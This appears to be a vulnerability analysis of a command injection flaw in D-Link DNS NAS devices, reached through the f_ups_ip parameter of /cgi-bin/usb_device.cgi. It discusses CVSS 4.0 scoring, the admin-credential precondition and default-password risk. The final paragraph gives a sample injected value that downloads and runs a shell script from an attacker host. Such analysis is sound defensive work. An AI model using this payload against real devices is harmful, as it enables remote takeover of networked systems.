D-Link DNS NAS CVE-2026-82691

Exploitation requires authenticated access to the device's web management interface with administrative privileges (PR:H per CVSS 4.0 vector). The specific vulnerable code path is the f_ups_ip argument in HTTP requests to /cgi-bin/usb_device.cgi, which handles UPS (Uninterruptible Power Supply) IP address configuration. The attack is network-delivered (AV:N) and requires no user interaction beyond authentication. The primary limiting factor is the admin credential requirement - exploitation is blocked by strong, non-default credentials and by network controls that restrict management interface access to trusted hosts. Exploitation is NOT limited to a specific non-default configuration of the UPS feature; the CGI endpoint itself is the attack surface. Default credential use (common on D-Link consumer devices) would effectively reduce PR:H to a trivial authentication step.

The CVSS 4.0 base score of 8.5 reflects a genuine high-severity finding with a nuanced profile: AV:N (network reachable), AC:L (no special conditions), PR:H (admin-level authentication required), and full high-impact scores across vulnerable and subsequent systems (VC/VI/VA/SC/SI/SA all H). The PR:H requirement is the primary risk limiter - exploitation requires valid admin credentials. However, D-Link consumer NAS devices frequently retain default credentials (admin/admin or blank passwords) in real-world deployments, substantially lowering the practical exploitation bar beyond what CVSS PR:H implies. The E:P tag in the CVSS 4.0 threat metric confirms a public proof-of-concept exists, corroborated by the GitHub reference. No CISA KEV listing is present, suggesting active exploitation has not been observed or reported at scale as of analysis. No EPSS data was provided. The subsequent-system impact metrics (SC:H/SI:H/SA:H) indicate potential for lateral movement or impact beyond the NAS itself - consistent with a rooted embedded Linux device on an internal network. Overall: real operational risk for environments running these models with default or weak credentials, attenuated for those enforcing strong auth.

An attacker with access to the device's web management interface (or who has obtained admin credentials via credential stuffing against a default admin/admin account) sends a crafted HTTP POST request to /cgi-bin/usb_device.cgi with the f_ups_ip parameter set to a value containing shell metacharacters, such as ; wget http://attacker.com/shell.sh -O /tmp/s; sh /tmp/s;. The CGI handler passes the unsanitized value to an OS shell call, executing the injected commands with device-level privileges. A public proof-of-concept demonstrating this technique has been disclosed via GitHub (https://github.com/dxz0069/WAVLINK-WN530H4-Command-Injection-in-set_add_routing/blob/main/DLINK-CMD-005-vulndb.md).